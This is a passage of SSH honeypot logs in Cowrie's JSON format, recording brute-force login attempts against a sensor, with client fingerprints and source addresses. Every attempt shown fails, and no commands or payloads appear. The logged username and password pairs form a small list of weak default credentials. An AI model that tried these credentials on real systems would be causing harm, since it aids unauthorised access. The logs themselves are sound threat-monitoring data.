fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:57.482038Z","src_ip":"129.146.243.24","session":"d33ac1f6c0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hrd","password":"123456","message":"login attempt [hrd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:57.892723Z","src_ip":"129.146.243.24","session":"d33ac1f6c0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:58.989189Z","src_ip":"129.146.243.24","session":"d33ac1f6c0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:28:59.459721Z","src_ip":"91.92.40.36","session":"38967580fa83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35950,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6b1796a9f7","protocol":"ssh","message":"New connection: 91.92.40.36:35950 (10.17.0.5:22) [session: be6b1796a9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:01.490638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:03.415536Z","src_ip":"91.92.40.36","session":"be6b1796a9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:03.419166Z","src_ip":"91.92.40.36","session":"be6b1796a9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:03.553264Z","src_ip":"91.92.40.36","session":"cf1a488780c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfbd703e5f88","protocol":"ssh","message":"New connection: 91.92.40.36:35978 (10.17.0.5:22) [session: cfbd703e5f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:05.303131Z"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:07.154082Z","src_ip":"91.92.40.36","session":"cf1a488780c1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:07.771661Z","src_ip":"91.92.40.36","session":"cfbd703e5f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:07.775118Z","src_ip":"91.92.40.36","session":"cfbd703e5f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50350,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e796d1de0de","protocol":"ssh","message":"New connection: 91.92.40.36:50350 (10.17.0.5:22) [session: 7e796d1de0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:10.852651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:14.281914Z","src_ip":"91.92.40.36","session":"7e796d1de0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:14.286290Z","src_ip":"91.92.40.36","session":"7e796d1de0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50400,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bb4ba3a661c","protocol":"ssh","message":"New connection: 91.92.40.36:50400 (10.17.0.5:22) [session: 8bb4ba3a661c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:15.392989Z"}
{"eventid":"cowrie.login.failed","username":"yellow","password":"yellow","message":"login attempt [yellow/yellow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:17.628772Z","src_ip":"91.92.40.36","session":"be6b1796a9f7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:18.957052Z","src_ip":"91.92.40.36","session":"8bb4ba3a661c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:18.971416Z","src_ip":"91.92.40.36","session":"8bb4ba3a661c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"p@ssw0rd","message":"login attempt [deployer/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:19.709251Z","src_ip":"91.92.40.36","session":"cfbd703e5f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:22.389986Z","src_ip":"91.92.40.36","session":"be6b1796a9f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43258,"dst_ip":"10.17.0.5","dst_port":22,"session":"811a52a03849","protocol":"ssh","message":"New connection: 91.92.40.36:43258 (10.17.0.5:22) [session: 811a52a03849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:22.685751Z"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:23.535283Z","src_ip":"91.92.40.36","session":"cfbd703e5f88","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:25.765746Z","src_ip":"91.92.40.36","session":"811a52a03849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:26.136351Z","src_ip":"91.92.40.36","session":"811a52a03849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37938,"dst_ip":"159.203.135.109","dst_port":22,"session":"085d398faf24","protocol":"ssh","message":"New connection: 103.122.221.179:37938 (159.203.135.109:22) [session: 085d398faf24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:27.589396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:27.593953Z","src_ip":"103.122.221.179","session":"085d398faf24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:27.852012Z","src_ip":"103.122.221.179","session":"085d398faf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ginger1","message":"login attempt [root/ginger1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:28.626601Z","src_ip":"103.122.221.179","session":"085d398faf24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17528,"dst_ip":"10.17.0.5","dst_port":22,"session":"45bf49cbce77","protocol":"ssh","message":"New connection: 91.92.40.36:17528 (10.17.0.5:22) [session: 45bf49cbce77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:28.923381Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:29.028386Z","src_ip":"91.92.40.36","session":"7e796d1de0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:29.890733Z","src_ip":"103.122.221.179","session":"085d398faf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"123456","message":"login attempt [kafka/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:30.638836Z","src_ip":"91.92.40.36","session":"8bb4ba3a661c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:31.725268Z","src_ip":"91.92.40.36","session":"45bf49cbce77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:31.728952Z","src_ip":"91.92.40.36","session":"45bf49cbce77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17576,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e8b16dbb28","protocol":"ssh","message":"New connection: 91.92.40.36:17576 (10.17.0.5:22) [session: f2e8b16dbb28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:33.654798Z"}
{"eventid":"cowrie.session.closed","duration":"24.0","message":"Connection lost after 24.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:34.865441Z","src_ip":"91.92.40.36","session":"7e796d1de0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:36.634408Z","src_ip":"91.92.40.36","session":"8bb4ba3a661c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:37.986099Z","src_ip":"91.92.40.36","session":"f2e8b16dbb28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:37.991748Z","src_ip":"91.92.40.36","session":"f2e8b16dbb28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d646690849a6","protocol":"ssh","message":"New connection: 91.92.40.36:21130 (10.17.0.5:22) [session: d646690849a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:38.972983Z"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany","message":"login attempt [dany/dany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:40.708422Z","src_ip":"91.92.40.36","session":"811a52a03849","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:29:43.842278Z","src_ip":"91.92.40.36","session":"d646690849a6","protocol":"ssh"}
